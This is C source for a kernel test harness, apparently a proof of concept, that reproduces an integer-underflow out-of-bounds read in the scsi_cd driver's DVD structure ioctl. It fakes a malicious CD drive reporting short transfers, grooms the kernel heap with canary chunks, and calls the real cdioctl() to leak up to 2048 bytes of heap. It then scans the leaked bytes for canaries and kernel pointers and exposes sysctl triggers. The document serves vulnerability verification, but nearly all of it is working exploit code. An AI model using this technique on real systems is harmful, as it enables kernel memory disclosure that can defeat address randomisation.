/*
 * DF-2269 verification harness -- POSTAMBLE.
 *
 * Appended after the verbatim scsi_cd.c. Implements the interposed
 * external shims, a fake CD transport that answers READ DVD STRUCTURE
 * (opcode 0xad) with GOOD status and attacker-chosen short-transfer
 * resid values, kernel-heap canary grooming around the 8-byte
 * kmalloc(9?) databuf that cdreaddvdstructure() makes, and sysctl
 * test drivers (debug.df2269.*).
 *
 * The code under test is the REAL cdioctl() -> cdreaddvdstructure()
 * path of the verbatim scsi_cd.c (default case, scsi_cd.c:4283-4298):
 *
 *	dvdstruct->length = length - ccb->csio.resid -
 *		sizeof(struct scsi_read_dvd_struct_data_header);
 *	bcopy(databuf + sizeof(...header...),
 *	      dvdstruct->data,
 *	      min(sizeof(dvdstruct->data), dvdstruct->length));
 *
 * `length' is int, `resid' is u_int32_t; a device that reports
 * CAM_REQ_CMP with a transfer short of the 4-byte header (or any
 * resid > length - 4) makes the unsigned expression wrap, so
 * dvdstruct->length becomes ~4G and min(2048, ~4G) copies a full
 * 2048 bytes out of a databuf that is only `length' bytes big.
 */

#undef xpt_path_periph
#undef cam_periph_getccb
#undef cam_periph_runccb
#undef xpt_release_ccb

/* The real declarations were consumed from the system headers in the
 * preamble BEFORE the interposition macros were defined; they remain
 * in scope for the whole translation unit, so the #undef'd names below
 * call the REAL kernel functions where wanted. */

/* ================= shim implementations =================
 *
 * Every shim is a PASS-THROUGH to the real CAM function unless a
 * harness scenario is armed (dfh_armed != 0).  This guest really has
 * an ATAPI DVD-ROM (acd0), so the verbatim cd driver attaches to it
 * during CAM configuration at boot and issues real CCBs; those must
 * reach the real transport.  Only the synchronous window around the
 * tested cdioctl() call uses the fabricated state.
 */

static volatile int		dfh_armed;
static int			dfh_xpt_rel_count;
static union ccb		dfh_ccb;
static struct cam_periph	*dfh_cur_periph;

/* scenario knobs: what the (malicious) device does this round */
static u_int32_t		dfh_resid;	/* reported residual */
static u_int32_t		dfh_transferred; /* bytes actually DMAed */
static int			dfh_cur_format;
static u_int32_t		dfh_cur_len;
static u_int8_t		*dfh_last_databuf;
static u_int32_t		dfh_last_dxfer;

static void
dfh_xpt_release_ccb(union ccb *ccb)
{
	if (!dfh_armed) {
		xpt_release_ccb(ccb);		/* the real one */
		return;
	}
	dfh_xpt_rel_count++;
}

static struct cam_periph *
dfh_xpt_path_periph(struct cam_path *path)
{
	if (!dfh_armed)
		return (xpt_path_periph(path));	/* the real one */
	return (dfh_cur_periph);
}

static union ccb *
dfh_cam_periph_getccb(struct cam_periph *periph, u_int32_t priority)
{
	if (!dfh_armed)
		return (cam_periph_getccb(periph, priority)); /* real */

	bzero(&dfh_ccb, sizeof(dfh_ccb));
	return (&dfh_ccb);
}

/*
 * Fake transport: the malicious drive.  Answers READ DVD STRUCTURE
 * (GPCMD_READ_DVD_STRUCTURE, 0xad) with GOOD status (CAM_REQ_CMP) and
 * a chosen short transfer: only dfh_transferred bytes are written into
 * the kernel databuf and csio.resid is set to dfh_resid.  Everything
 * else gets CAM_REQ_INVALID so unexpected commands stand out.
 */
static int
dfh_cam_periph_runccb(union ccb *ccb,
		      int (*error_routine)(union ccb *, cam_flags,
		      u_int32_t),
		      cam_flags camflags, u_int32_t sense_flags,
		      struct devstat *stats)
{
	u_int8_t *cdb;
	u_int8_t *d;
	u_int32_t len, alloc_len, i;

	if (!dfh_armed)
		return (cam_periph_runccb(ccb, error_routine, camflags,
					  sense_flags, stats)); /* real */

	(void)error_routine;
	(void)camflags;
	(void)sense_flags;
	(void)stats;

	cdb = ccb->csio.cdb_io.cdb_bytes;
	d = ccb->csio.data_ptr;
	len = ccb->csio.dxfer_len;
	dfh_last_databuf = d;
	dfh_last_dxfer = len;

	kprintf("DFH2269:   transport: CDB %02x %02x %02x %02x %02x %02x "
		"%02x %02x %02x %02x %02x %02x dxfer_len=%u databuf=%p\n",
		cdb[0], cdb[1], cdb[2], cdb[3], cdb[4], cdb[5],
		cdb[6], cdb[7], cdb[8], cdb[9], cdb[10], cdb[11],
		len, d);

	if (cdb[0] != 0xad || d == NULL || len == 0) {
		kprintf("DFH2269:   transport: unexpected command -> "
			"CAM_REQ_INVALID\n");
		ccb->ccb_h.status = CAM_REQ_INVALID;
		return (1);
	}

	/* sanity: the real scsi_read_dvd_structure() filled the CDB
	 * with our format and allocation length (alloc_len is CDB
	 * bytes 8-9: struct layout opcode,reserved,address[4],
	 * layer_number,format,alloc_len[2],agid,control) */
	alloc_len = scsi_2btoul(&cdb[8]);
	if (cdb[7] != dfh_cur_format || alloc_len != dfh_cur_len ||
	    len != dfh_cur_len) {
		kprintf("DFH2269:   transport: CDB mismatch "
			"(fmt %u vs %u, alloc_len %u vs %u, dxfer %u vs %u)"
			" -> CAM_REQ_INVALID\n",
			cdb[7], dfh_cur_format, alloc_len, dfh_cur_len,
			len, dfh_cur_len);
		ccb->ccb_h.status = CAM_REQ_INVALID;
		return (1);
	}

	/* the malicious payload: GOOD status + short transfer.  The
	 * bytes the drive did send are a recognizable 0xB0-0xBF
	 * pattern (distinct from the 0xC0-0xFF heap markers and the
	 * 0x5A runway). */
	for (i = 0; i < dfh_transferred && i < len; i++)
		d[i] = 0xB0 | (i & 0x0F);
	if (dfh_transferred < len) {
		/* bytes beyond the transferred count keep whatever the
		 * kmalloc(M_ZERO) in cdreaddvdstructure left: zeros */
	}

	/* device reports success with residual dfh_resid */
	ccb->csio.resid = dfh_resid;
	ccb->ccb_h.status = CAM_REQ_CMP;
	kprintf("DFH2269:   transport: GOOD status, sent %u of %u bytes, "
		"resid=%u\n", dfh_transferred, len, dfh_resid);
	return (0);
}

/* ================= fabricated CAM/CD state ================= */

static struct lock		dfh_lk;
static struct cam_sim		dfh_sim;
static struct cam_periph	dfh_ph;
static struct cd_softc		*dfh_cd;
static struct cdev		dfh_cdev;
static int			dfh_ready;

static void
dfh_setup(void)
{
	if (dfh_ready)
		return;

	dfh_cd = kmalloc(sizeof(*dfh_cd), M_DEVBUF, M_INTWAIT | M_ZERO);

	lockinit(&dfh_lk, "dfhcdlk", 0, 0);
	bzero(&dfh_sim, sizeof(dfh_sim));
	bzero(&dfh_ph, sizeof(dfh_ph));
	bzero(&dfh_cdev, sizeof(dfh_cdev));

	dfh_sim.lock = &dfh_lk;
	dfh_ph.sim = &dfh_sim;
	dfh_ph.softc = dfh_cd;
	dfh_ph.path = NULL;			/* CAM_DEBUG is inert */
	dfh_ph.immediate_priority = CAM_PRIORITY_NONE;
	dfh_ph.pinfo.priority = 0;
	dfh_ph.refcount = 1;
	dfh_ph.flags = 0;

	/* unit 5 encoding for dkunit() (minor 0x28 -> unit 5), so the
	 * real acd0 (unit 0) extension slot is never touched */
	dfh_cdev.si_uminor = 0x28;

	/* media "loaded": skips cdcheckmedia() in cdioctl */
	dfh_cd->flags = CD_FLAG_VALID_MEDIA;

	if (cdperiphs == NULL)
		cdperiphs = cam_extend_new();
	cam_extend_set(cdperiphs, 5, &dfh_ph);

	dfh_cur_periph = &dfh_ph;
	dfh_ready = 1;
	kprintf("DFH2269: fabricated CD periph ready "
		"(periph=%p softc=%p lock=%p)\n", &dfh_ph, dfh_cd, &dfh_lk);
}

/* ================= heap canary grooming ================= */

/*
 * Same-size-class M_DEVBUF chunks around the databuf that
 * cdreaddvdstructure() will kmalloc: 64 marker chunks (0xC0-0xFF
 * filled), every 2nd freed so databuf lands among them, followed by
 * 256 runway chunks (0x5A filled) that stay allocated so the 2044-byte
 * overread sweeps mapped zone memory instead of running off a slab.
 */
#define DFH_NMARK	64
#define DFH_NRUNWAY	256
static u_int8_t		*dfh_marks[DFH_NMARK];
static u_int8_t		*dfh_runway[DFH_NRUNWAY];
static int		dfh_groom_len;

static void
dfh_groom_free(void)
{
	int i;

	for (i = 0; i < DFH_NMARK; i++) {
		if (dfh_marks[i] != NULL) {
			kfree(dfh_marks[i], M_DEVBUF);
			dfh_marks[i] = NULL;
		}
	}
	for (i = 0; i < DFH_NRUNWAY; i++) {
		if (dfh_runway[i] != NULL) {
			kfree(dfh_runway[i], M_DEVBUF);
			dfh_runway[i] = NULL;
		}
	}
	dfh_groom_len = 0;
}

static void
dfh_groom(int len)
{
	int i;

	if (len > 4096)			/* no grooming for DVD_STRUCT_LIST */
		return;
	if (dfh_groom_len != len)
		dfh_groom_free();
	dfh_groom_len = len;

	for (i = 0; i < DFH_NMARK; i++) {
		if (dfh_marks[i] == NULL)
			dfh_marks[i] = kmalloc(len, M_DEVBUF, M_INTWAIT);
		memset(dfh_marks[i], 0xC0 + (i & 0x3F), len);
	}
	for (i = 0; i < DFH_NRUNWAY; i++) {
		if (dfh_runway[i] == NULL)
			dfh_runway[i] = kmalloc(len, M_DEVBUF, M_INTWAIT);
		memset(dfh_runway[i], 0x5A, len);
	}
	/* punch holes: databuf (same size/type) lands in one of these */
	for (i = 0; i < DFH_NMARK; i += 2) {
		kfree(dfh_marks[i], M_DEVBUF);
		dfh_marks[i] = NULL;
	}
}

/* ================= leak analysis helpers ================= */

static int
dfh_count_nonzero(const u_char *d, int n)
{
	int i, c = 0;

	for (i = 0; i < n; i++)
		if (d[i] != 0)
			c++;
	return (c);
}

static unsigned long long
dfh_fnv1a(const u_char *d, int n)
{
	unsigned long long h = 0xcbf29ce484222325ULL;
	int i;

	for (i = 0; i < n; i++) {
		h ^= d[i];
		h *= 0x100000001b3ULL;
	}
	return (h);
}

/*
 * Scan the copied-out data[] for the 0xC0-0xFF marker chunks we
 * pre-placed around databuf.  A hit is a >=4-byte run of a single
 * marker byte.  data[o] came from databuf + 4 + o, so a marker at
 * data[o] lies (4 + o) bytes into an `len'-byte allocation:
 * OOB when 4 + o >= len.
 */
static int
dfh_scan_markers(const u_char *d, int n, int len)
{
	int id, o, j, hits = 0;
	int first[64], last[64];

	for (id = 0; id < 64; id++) {
		first[id] = -1;
		last[id] = -1;
	}
	for (o = 0; o + 4 <= n; o++) {
		id = d[o] - 0xC0;
		if (id < 0 || id > 63)
			continue;
		for (j = 1; j < 4; j++)
			if (d[o + j] != d[o])
				break;
		if (j == 4) {
			if (first[id] < 0)
				first[id] = o;
			last[id] = o;
			hits++;
		}
	}
	if (hits == 0) {
		kprintf("DFH2269:   markers: NONE of the 0xC0-0xFF canary "
			"patterns found in data[]\n");
		return (0);
	}
	kprintf("DFH2269:   markers: %d distinct canary chunks leaked "
		"(IDs:", hits);
	for (id = 0; id < 64; id++)
		if (first[id] >= 0)
			kprintf(" %02x@%d", 0xC0 + id, first[id]);
	kprintf(")\n");
	for (id = 0; id < 64; id++) {
		if (first[id] < 0)
			continue;
		kprintf("DFH2269:   marker %02x: data[%d..%d] => src "
			"databuf+%d..%d => %d bytes PAST the %d-byte "
			"databuf\n",
			0xC0 + id, first[id], last[id] + 3,
			4 + first[id], 4 + last[id] + 3,
			(4 + last[id] + 3) - len, len);
	}
	return (hits);
}

static int
dfh_scan_ptrs(const u_char *d, int n, int printmax, int len)
{
	int o, hits = 0;
	unsigned long long v;

	for (o = 0; o + 8 <= n; o++) {
		v = 0;
		memcpy(&v, d + o, 8);
		if (v >= 0xffff800000000000ULL && v <= 0xffffffffffffffffULL) {
			hits++;
			if (printmax > 0) {
				printmax--;
				kprintf("DFH2269:   ptr-like %016llx at "
					"data[%d] => databuf+%d (%d past "
					"end)\n", v, o, 4 + o,
					(4 + o) - len);
			}
		}
	}
	return (hits);
}

/* ================= the actual test driver ================= */

struct dfh_fmt {
	const char	*name;
	u_int8_t		fmt;
	int		len;
};

static const struct dfh_fmt dfh_fmts[] = {
	{ "DVD_STRUCT_DISCKEY      (0x02)", DVD_STRUCT_DISCKEY,
	  sizeof(struct scsi_read_dvd_struct_data_disc_key) },
	{ "DVD_STRUCT_BCA          (0x03)", DVD_STRUCT_BCA,
	  sizeof(struct scsi_read_dvd_struct_data_bca) },
	{ "DVD_STRUCT_MANUFACT     (0x04)", DVD_STRUCT_MANUFACT,
	  sizeof(struct scsi_read_dvd_struct_data_manufacturer) },
	{ "DVD_STRUCT_PROTDISCID   (0x06)", DVD_STRUCT_PROTDISCID,
	  sizeof(struct scsi_read_dvd_struct_data_prot_discid) },
	{ "DVD_STRUCT_DISCKEYBLOCK (0x07)", DVD_STRUCT_DISCKEYBLOCK,
	  sizeof(struct scsi_read_dvd_struct_data_disc_key_blk) },
	{ "DVD_STRUCT_DDS          (0x08)", DVD_STRUCT_DDS,
	  sizeof(struct scsi_read_dvd_struct_data_dds) },
	{ "DVD_STRUCT_MEDIUM_STAT  (0x09)", DVD_STRUCT_MEDIUM_STAT,
	  sizeof(struct scsi_read_dvd_struct_data_medium_status) },
	{ "DVD_STRUCT_SPARE_AREA   (0x0A)", DVD_STRUCT_SPARE_AREA,
	  sizeof(struct scsi_read_dvd_struct_data_spare_area) },
	{ "DVD_STRUCT_PRERECORDED  (0x0E)", DVD_STRUCT_PRERECORDED,
	  sizeof(struct scsi_read_dvd_struct_data_leadin) },
	{ "DVD_STRUCT_UNIQUEID     (0x0F)", DVD_STRUCT_UNIQUEID,
	  sizeof(struct scsi_read_dvd_struct_data_disc_id) },
	{ "DVD_STRUCT_LIST         (0xFF)", DVD_STRUCT_LIST,
	  65535 },
};
#define DFH_NFMT (sizeof(dfh_fmts) / sizeof(dfh_fmts[0]))

/*
 * Run one real DVDIOCREADSTRUCTURE through the real cdioctl() with the
 * malicious device answering `transferred' bytes / residual `resid'.
 */
static int
dfh_run_case(const struct dfh_fmt *f, u_int32_t transferred,
	     u_int32_t resid, int dump)
{
	struct dvd_struct *dv;
	struct dev_ioctl_args ap;
	int error, copyn, nz, mk, ptrs, o;

	dfh_setup();
	dfh_groom(f->len);
	dfh_cur_format = f->fmt;
	dfh_cur_len = f->len;
	dfh_transferred = transferred;
	dfh_resid = resid;

	dv = kmalloc(sizeof(*dv), M_TEMP, M_INTWAIT | M_ZERO);
	dv->format = f->fmt;

	bzero(&ap, sizeof(ap));
	ap.a_head.a_dev = &dfh_cdev;
	ap.a_cmd = DVDIOCREADSTRUCTURE;
	ap.a_data = (caddr_t)dv;

	kprintf("DFH2269: ---- fmt=%s databuf_len=%d transferred=%u "
		"resid=%u ----\n", f->name, f->len, transferred, resid);

	dfh_armed = 1;
	error = cdioctl(&ap);			/* THE REAL FUNCTION */
	dfh_armed = 0;

	copyn = (int)MIN(sizeof(dv->data), (size_t)dv->length);
	nz = dfh_count_nonzero(dv->data, sizeof(dv->data));
	kprintf("DFH2269: RESULT cdioctl=%d (EIO=%d) length=%u "
		"(0x%08x) bcopy_n=min(2048,length)=%d nonzero_in_data=%d "
		"databuf=%p\n",
		error, EIO, dv->length, dv->length, copyn, nz,
		dfh_last_databuf);
	if (copyn > f->len - 4)
		kprintf("DFH2269: *** OOB READ: kernel copied %d bytes "
			"from a %d-byte heap buffer (%d bytes past its "
			"end) into the caller's dvd_struct.data\n",
			copyn, f->len, copyn - (f->len - 4));

	mk = dfh_scan_markers(dv->data, sizeof(dv->data), f->len);
	ptrs = dfh_scan_ptrs(dv->data, sizeof(dv->data), 8, f->len);
	kprintf("DFH2269: SUMMARY fmt=%s len=%d transferred=%u "
		"resid=%u -> ret=%d length=%u copy=%d nonzero=%d "
		"markers=%d ptrlikes=%d fnv1a=%016llx\n",
		f->name, f->len, transferred, resid, error, dv->length,
		copyn, nz, mk, ptrs,
		dfh_fnv1a(dv->data, sizeof(dv->data)));

	if (dump) {
		kprintf("DFH2269: full dump of dvd_struct.data (what the "
			"ioctl layer would copyout to userspace):\n");
		for (o = 0; o < (int)sizeof(dv->data); o += 16) {
			kprintf("DFH2269 DUMP +%04x:"
				" %02x %02x %02x %02x %02x %02x %02x %02x"
				" %02x %02x %02x %02x %02x %02x %02x %02x"
				"  |%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c|\n",
				o,
				dv->data[o + 0], dv->data[o + 1],
				dv->data[o + 2], dv->data[o + 3],
				dv->data[o + 4], dv->data[o + 5],
				dv->data[o + 6], dv->data[o + 7],
				dv->data[o + 8], dv->data[o + 9],
				dv->data[o + 10], dv->data[o + 11],
				dv->data[o + 12], dv->data[o + 13],
				dv->data[o + 14], dv->data[o + 15],
				(dv->data[o + 0] >= 0x20 &&
				 dv->data[o + 0] < 0x7f) ? dv->data[o + 0] : '.',
				(dv->data[o + 1] >= 0x20 &&
				 dv->data[o + 1] < 0x7f) ? dv->data[o + 1] : '.',
				(dv->data[o + 2] >= 0x20 &&
				 dv->data[o + 2] < 0x7f) ? dv->data[o + 2] : '.',
				(dv->data[o + 3] >= 0x20 &&
				 dv->data[o + 3] < 0x7f) ? dv->data[o + 3] : '.',
				(dv->data[o + 4] >= 0x20 &&
				 dv->data[o + 4] < 0x7f) ? dv->data[o + 4] : '.',
				(dv->data[o + 5] >= 0x20 &&
				 dv->data[o + 5] < 0x7f) ? dv->data[o + 5] : '.',
				(dv->data[o + 6] >= 0x20 &&
				 dv->data[o + 6] < 0x7f) ? dv->data[o + 6] : '.',
				(dv->data[o + 7] >= 0x20 &&
				 dv->data[o + 7] < 0x7f) ? dv->data[o + 7] : '.',
				(dv->data[o + 8] >= 0x20 &&
				 dv->data[o + 8] < 0x7f) ? dv->data[o + 8] : '.',
				(dv->data[o + 9] >= 0x20 &&
				 dv->data[o + 9] < 0x7f) ? dv->data[o + 9] : '.',
				(dv->data[o + 10] >= 0x20 &&
				 dv->data[o + 10] < 0x7f) ? dv->data[o + 10] : '.',
				(dv->data[o + 11] >= 0x20 &&
				 dv->data[o + 11] < 0x7f) ? dv->data[o + 11] : '.',
				(dv->data[o + 12] >= 0x20 &&
				 dv->data[o + 12] < 0x7f) ? dv->data[o + 12] : '.',
				(dv->data[o + 13] >= 0x20 &&
				 dv->data[o + 13] < 0x7f) ? dv->data[o + 13] : '.',
				(dv->data[o + 14] >= 0x20 &&
				 dv->data[o + 14] < 0x7f) ? dv->data[o + 14] : '.',
				(dv->data[o + 15] >= 0x20 &&
				 dv->data[o + 15] < 0x7f) ? dv->data[o + 15] : '.');
		}
	}

	kfree(dv, M_TEMP);
	return (error);
}

static const struct dfh_fmt *
dfh_fmt_by_id(u_int8_t fmt)
{
	size_t i;

	for (i = 0; i < DFH_NFMT; i++)
		if (dfh_fmts[i].fmt == fmt)
			return (&dfh_fmts[i]);
	return (NULL);
}

/* ================= scenario drivers ================= */

/*
 * Boundary matrix on DVD_STRUCT_MEDIUM_STAT (databuf 8 bytes):
 * sweep the transferred/resid pair across the underflow boundary
 * (resid = length - 4) and beyond it, including physically
 * impossible resid > length.
 */
static int
dfh_run_matrix(void)
{
	static const u_int32_t tx[] = { 8, 5, 4, 3, 2, 1, 0 };
	static const u_int32_t imposs[] = { 9, 12, 100, 0xFFFFFFFF };
	const struct dfh_fmt *f = dfh_fmt_by_id(DVD_STRUCT_MEDIUM_STAT);
	size_t i;

	for (i = 0; i < sizeof(tx) / sizeof(tx[0]); i++)
		dfh_run_case(f, tx[i], f->len - tx[i], 0);
	for (i = 0; i < sizeof(imposs) / sizeof(imposs[0]); i++)
		dfh_run_case(f, 0, imposs[i], 0);
	return (0);
}

/* All default-case formats with a 2-byte short transfer */
static int
dfh_run_formats(void)
{
	size_t i;

	for (i = 0; i < DFH_NFMT; i++)
		dfh_run_case(&dfh_fmts[i], 2, dfh_fmts[i].len - 2, 0);
	return (0);
}

/* The headline leak: full dump of the 2048 bytes */
static int
dfh_run_leak(void)
{
	const struct dfh_fmt *f = dfh_fmt_by_id(DVD_STRUCT_MEDIUM_STAT);

	return (dfh_run_case(f, 2, f->len - 2, 1));
}

/* Leak variance: n repetitions, differing heap state */
static int
dfh_run_repeat(int n)
{
	const struct dfh_fmt *f = dfh_fmt_by_id(DVD_STRUCT_MEDIUM_STAT);
	int i;

	if (n < 1)
		n = 5;
	for (i = 0; i < n; i++)
		dfh_run_case(f, 2, f->len - 2, 0);
	return (0);
}

/* ================= sysctl triggers ================= */

static int
dfh_sysctl_matrix(SYSCTL_HANDLER_ARGS)
{
	int t, error;

	t = 0;
	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	return (dfh_run_matrix());
}

static int
dfh_sysctl_formats(SYSCTL_HANDLER_ARGS)
{
	int t, error;

	t = 0;
	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	return (dfh_run_formats());
}

static int
dfh_sysctl_leak(SYSCTL_HANDLER_ARGS)
{
	int t, error;

	t = 0;
	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	return (dfh_run_leak());
}

static int
dfh_sysctl_repeat(SYSCTL_HANDLER_ARGS)
{
	int t, error;

	t = 0;
	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	return (dfh_run_repeat(t));
}

SYSCTL_NODE(_debug, OID_AUTO, df2269, CTLFLAG_RW, 0, "DF-2269 rig");
SYSCTL_PROC(_debug_df2269, OID_AUTO, matrix, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, dfh_sysctl_matrix, "I",
	    "resid boundary matrix on MEDIUM_STAT (8-byte databuf)");
SYSCTL_PROC(_debug_df2269, OID_AUTO, formats, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, dfh_sysctl_formats, "I",
	    "2-byte short transfer across all default-case formats");
SYSCTL_PROC(_debug_df2269, OID_AUTO, leak, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, dfh_sysctl_leak, "I",
	    "MEDIUM_STAT underflow with full 2048-byte dump");
SYSCTL_PROC(_debug_df2269, OID_AUTO, repeat, CTLTYPE_INT | CTLFLAG_RW,
	    0, 0, dfh_sysctl_repeat, "I",
	    "leak n times (arg=repetitions) to show heap-state variance");
